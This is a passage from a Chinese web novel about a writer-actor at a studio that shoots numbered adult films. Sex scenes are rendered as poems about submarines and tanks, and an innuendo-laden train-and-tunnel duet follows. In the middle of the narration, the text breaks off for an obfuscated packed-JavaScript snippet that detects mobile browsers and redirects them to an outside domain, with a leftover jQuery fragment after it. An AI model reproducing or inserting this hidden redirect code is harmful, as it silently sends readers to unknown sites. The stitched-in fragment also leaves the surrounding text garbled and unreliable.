十分鐘後，燈光再度亮起。
「第五場戲，開始！」導演的聲音再次響起。
門再次打開，塔凱達·奇姿科走了進來，氣質端莊，臉上卻帶著幾分擔憂。
「你就是伊希卡瓦先生吧？」她輕聲開口，語調帶著母親的沉穩，「我是房東的媽媽，結婚前姓弗吉塔。」
韓文憲立刻起身，恭敬回答：「您好，請坐。」
奇姿科坐下，眼神不安地四處打量：「我女兒米奇科……是不是來過這裡？」
韓文憲猶豫片刻，老實回答：「來過，不過待了一會兒就走了。」
奇姿科嘆了口氣，神情憂鬱：「唉，果然……那孩子總是任性。」
韓文憲小心翼翼：「您別太擔心，她應該只是暫時想一個人待著。」
奇姿科的眼神柔和了一瞬，但很快轉向另一個方向：「我丈夫十年前因為一場車禍過世了。從那以後，一直是我兒子蔻吉若陪在我身邊。如今他出差去了，這房子裡就顯得格外冷清。」
韓文憲安靜聽著，神情裡帶著一絲同情：「失去親人，確實很難熬。」
「是啊。」奇姿科苦笑，語氣漸漸低沉，「有些夜晚，我總覺得孤單得難以忍受。」
韓文憲想說什麼，卻一時不知道如何安慰。
奇姿科盯著他，眼神裡多了幾分異樣的光：「你一個人住在這裡，不也是孤單嗎？」
韓文憲愣住，語氣謹慎：「孤單，或許吧。但我還能習慣。」
「我卻習慣不了。」奇姿科的聲音逐漸壓低，帶著一絲顫抖，「一個人吃飯，一個人睡覺，一個人醒來……你知道那有多難受嗎？」
「我能想像。」韓文憲的聲音低沉。
「不，你不能想像。」奇姿科忽然靠近，語氣急切，「除非……你願意陪我。」
韓文憲震驚，立刻後退一步：「太太，這樣的話……不太妥當吧。」
「妥不妥當，有誰在乎呢？」奇姿科的聲音顫抖卻堅決，「我只知道，我不能再這麼孤單下去了。」
「可是……」
「沒有可是！」她幾乎打斷他，眼神熾烈，「你願意幫我嗎？還是要眼睜睜看著我繼續受折磨？」
「我……」
「回答我。」奇姿科的聲音低沉，帶著不容拒絕的力量，「你能拒絕嗎？」
氣氛瞬間凝結，話語的分寸早已被打破。
隨後，一場長達二十多分鐘的動作戲正式展開，那真是：
深海何蒼茫，潛艇此中航。來回尋幽徑，逡巡入石廊。
時而出複沒，倏忽避危牆。無聲亦無跡，靜默自潛藏。
鐵甲披玄色，艦身冷似霜。眼觀千里外，心有萬束光。
奇石何嶙峋，狹縫透微光。萬古珊瑚寂，海藻輕輕盪。
一瞬殺機起，魚雷出龍艙。疾馳破靜水，一聲驚雷響。
威力豈尋常，崩裂敵艦鋼。恍若億鮫怒，群起而攻亡。
最終，導演蔻吉若再次舉手，鏡頭對準奇姿科的臉，十秒鐘的特寫後，他聲音穩定：「第五場戲，結束！」
場務喊道：「休息十五分鐘！」
演員們緩緩散去，燈光漸暗，攝影棚裡只剩下低聲的交談與沉重的呼吸。
十五分鐘之後，燈光重新聚焦，攝影機移動回第二場戲的場景。這次的布景是蔻吉若家的客廳，沙發、茶几、擺設都布置得一絲不苟。場記舉起拍板，清脆的聲音響起：「第六場戲——開始！」
奇姿科端坐在沙發一側，語氣平緩卻帶著一絲探究：「那位伊希卡瓦先生，之前我找過他。說實話，他的體能……怎麼說呢，不算特別突出。」
琳卡倚在另一邊，語帶思索：「爆發力也一樣，中規中矩。但並不是那種無能的人，至少他在某些時候很能堅持。」
米奇科坐在茶几旁，雙手托著下巴，眼神帶著調皮的笑意：「你們說得太保守了吧？我覺得他耐力還不錯。雖然比不上真正的運動員，但也比我們原本想像的要強。」
奇姿科微微點頭，語氣淡淡：「耐力是有，但技巧不足，很多地方還顯得生澀。」
琳卡抿嘴一笑：「不過，那份真誠倒是難能可貴。」
米奇科立刻插話：「哈哈，真誠？你確定嗎？我可覺得他臉紅的時候，比真誠更有趣。」
三個女人相視而笑，話題似乎逐漸朝著另一個方向偏移。
正說著，門外響起敲門聲。
米奇科快步走到門邊，打開門，果然是準時出現的韓文憲。他臉上帶著禮貌的微笑，語氣溫和：「大家下午好。」
「下午好，伊希卡瓦先生。」奇姿科語氣平靜，卻帶著一種隱隱的審視。
「你來得真準時。」琳卡笑著補充，眼神裡閃爍著難以忽視的光芒。
「嘿——」米奇科半開玩笑地說，「今天我們正好在討論你呢。」
「討論我？」韓文憲一愣，神情裡帶著一絲尷尬。
「是啊，」琳卡若無其事地回答，「我們剛剛說到你的體能、爆發力、還有耐力。」
「別緊張，」米奇科湊近一步，眼神裡帶著戲謔，「我們可都是說好話呢。」
韓文憲勉強一笑，卻敏銳地捕捉到三人眼神的變化。那眼神就像三隻猛虎同時盯上了一隻無助的山羊，帶著壓迫，也帶著明顯的企圖。
心臟跳動加快，但他已經知道，接下來將要發生什麼。思緒在腦海裡閃過，他在心裡深深吸了一口氣，暗暗做好準備。
隨後，攝影機捕捉到的，是長達五十分鐘的動作戲，那真是：
裝甲戰車，林野碾轍。迷彩披身，草木摧折。
穿行密樹，山林蕭瑟。往復不息，鐵流戰歌。
山搖撼巨波，大地相研磨，萬壑走雷響，丘陵亦傾簸。
列車載火炮，一聲驚天破。億萬野牛怒，山河皆踏過。
隨著導演莫瑞塔·蔻吉若舉手喊停，現場逐漸安靜下來。
「KMRH-001——拍攝完成！」蔻吉若語氣堅定，臉上帶著滿意的神色。
劇組裡響起一片掌聲，場務開始收拾器材，燈光逐漸熄滅。蔻吉若轉頭對韓文憲說：「今天辛苦了，先回去休息吧。接下來的劇本還需要你繼續創作。記住，你一天只需要拍一部電影，其他時間都留給寫劇本。」
韓文憲微微鞠躬，語氣誠懇：「明白了，謝謝。」
拍攝告一段落，他在片場稍微休息了三十分鐘。夕陽的光線從窗外斜照進來，他推著電動腳踏車，離開伊希卡瓦電影廠。
城市的街道在晚風中顯得安靜而寬闊。韓文憲騎著腳踏車，心裡仍然殘留著剛才的情境。一路穿過熟悉的街巷，直到回到自己的家中，他才長長吐出一口氣。
新的任務，新的責任，已經等在他的桌案上。
蔻吉若結束了在第六場戲的導演工作，隨即馬不停蹄趕往其他兩個劇組。這一日對他而言，不只是完成 KMRH-001 的收尾，更要確保 KMRH-002 與 KMRH-003、KMRH-004 的進度穩定推進。他在每個劇組裡都按照慣例，以房東的身分現身。
三個劇組的工作結束後，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304132|132887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蔻吉若回到辦公室。這裡原本是副執行長的空間，桌椅不算寬敞，擺設也不算奢華。但自從他接掌執行長一職以來，他始終選擇留在這裡。對他來說，這樣的位置更加實際，也更容易讓員工感到親近。他只是將門口的銘牌換掉，上面清楚地刻著「執行長辦公室」幾個字。
至於前任執行長伊希卡瓦·阿蘇卡留下的辦公室，蔻吉若決定不再佔用。那裡的空間比這裡大得多，裝潢也更為考究，但在阿蘇卡生前，這間辦公室經常被當作拍攝現場，用來製作各式各樣的職場類電影。如今阿蘇卡已逝，這間辦公室在他眼中更像是一個紀念之地，保留原貌比改作辦公用途更具意義。於是，蔻吉若乾脆將其正式劃為拍攝場景，劇組隨時可以使用。
正當他翻閱文件、整理下一階段的拍攝計畫時，手機螢幕亮起來，一則簡訊彈了進來。寄件人是博拉吉·歐盧瓦卡約德·歐拉尼佩昆。簡訊內容是關於他之前囑咐的音樂改編任務。
原本的歌曲《網路電影》已經被改寫成男女對唱版，新名字叫做《開啟隧道等列車》。博拉吉把歌詞一併傳送過來，逐行排列，格式整齊，顯然是經過悉心推敲。
《開啟隧道等列車》歌詞：
（女聲）
山上城堡在兩邊，山下隧道已貫穿。
鐵軌無聲迎未來，靜候列車來參觀。
（男聲）
引擎轟鳴氣勢全，即將駛入隧道間。
滿載貨物數億磅，一往無前破重關。
（女聲）
你可千萬睜大眼，南邊那是排汙管。
貨物要走北隧道，送錯地方可就完。
（男聲）
我的貨物堆成山，南北兩邊隨便搬。
城堡山頂都有份，就怕妳家裝不滿。
（女聲）
大話可別說太滿，能源未必夠你算。
莫讓列車突熄火，那才真是很難看。
（男聲）
勸妳休把我看扁，隧道行過萬萬千。
管妳倉庫有多大，保證給妳全裝滿。
（女聲）
運輸只花一瞬間，裝貨卻要等半天。
這帳算得太離譜，讓人等到不耐煩。
（男聲）
我的列車本領寬，隧道來回隨便鑽。
急行一分剛好到，慢遊兩時也不煩。
（女聲）
大話是人都會編，能夠落實才關鍵。
別等貨物還沒到，列車自己先玩完。
（男聲）
往返入遂聲震天，山嶽為此也震顫。
滾滾鐵輪壓軌道，轟鳴巨響聲不斷。
（女聲）
你的列車真不凡，山嶽承受有點難。
恐怕它要撐不住，整個塌陷怎麼辦。
（男聲）
列車隧道卸貨完，億磅貨物請查點。
過些時間妳再看，新車將出隧道間。
蔻吉若坐在椅子上，仔細讀完歌詞，嘴角忍不住浮現一抹笑意。這份作品表面上描寫列車與隧道的比喻，實則充滿張力。無論在影像搭配還是市場宣傳上，都具備鮮明的衝擊力。
他放下手機，旋即打開電腦，開始搜尋合適的古典旋律。腦中思索如何與這首歌詞相互呼應。
最終，他挑選了一段詼諧卻又帶有戲劇張力的古典旋律，打算交給樂隊進行改編。隨即撥出電話，聯繫了合作已久的樂團，安排下一步的編曲工作。
在燈光映照下，辦公桌上的紙張與螢幕的光芒交錯，彷彿象徵著新時代的創作正緩緩展開。